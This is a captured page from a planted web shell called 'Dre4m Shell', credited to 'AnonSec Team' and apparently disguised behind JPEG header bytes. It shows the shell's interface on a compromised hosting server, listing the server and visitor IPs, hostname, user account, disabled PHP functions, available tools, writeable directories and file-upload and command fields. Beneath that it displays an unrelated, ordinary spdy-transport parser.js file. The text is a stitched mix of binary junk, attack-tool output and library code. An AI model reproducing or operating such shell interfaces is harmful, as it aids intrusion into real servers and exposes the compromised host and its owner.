ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.144.228.57
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/cms/node_modules/spdy-transport/lib/spdy-transport/protocol/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/cms/node_modules/spdy-transport/lib/spdy-transport/protocol/base/parser.js
'use strict'

var transport = require('../../../spdy-transport')

var util = require('util')
var utils = require('./').utils
var OffsetBuffer = require('obuf')
var Transform = require('readable-stream').Transform

function Parser (options) {
  Transform.call(this, {
    readableObjectMode: true
  })

  this.buffer = new OffsetBuffer()
  this.partial = false
  this.waiting = 0

  this.window = options.window

  this.version = null
  this.decompress = null
  this.dead = false
}
module.exports = Parser
util.inherits(Parser, Transform)

Parser.prototype.error = utils.error

Parser.prototype.kill = function kill () {
  this.dead = true
}

Parser.prototype._transform = function transform (data, encoding, cb) {
  if (!this.dead) { this.buffer.push(data) }

  this._consume(cb)
}

Parser.prototype._consume = function _consume (cb) {
  var self = this

  function next (err, frame) {
    if (err) {
      return cb(err)
    }

    if (Array.isArray(frame)) {
      for (var i = 0; i < frame.length; i++) {
        self.push(frame[i])
      }
    } else if (frame) {
      self.push(frame)
    }

    // Consume more packets
    if (!sync) {
      return self._consume(cb)
    }

    process.nextTick(function () {
      self._consume(cb)
    })
  }

  if (this.dead) {
    return cb()
  }

  if (this.buffer.size < this.waiting) {
    // No data at all
    if (this.buffer.size === 0) {
      return cb()
    }

    // Partial DATA frame or something that we can process partially
    if (this.partial) {
      var partial = this.buffer.clone(this.buffer.size)
      this.buffer.skip(partial.size)
      this.waiting -= partial.size

      this.executePartial(partial, next)
      return
    }

    // We shall not do anything until we get all expected data
    return cb()
  }

  var sync = true

  var content = this.buffer.clone(this.waiting)
  this.buffer.skip(this.waiting)

  this.execute(content, next)
  sync = false
}

Parser.prototype.setVersion = function setVersion (version) {
  this.version = version
  this.emit('version', version)
}

Parser.prototype.setCompression = function setCompresion (pair) {
  this.decompress = new transport.utils.LockStream(pair.decompress)
}

Anon7 - 2022
AnonSec Team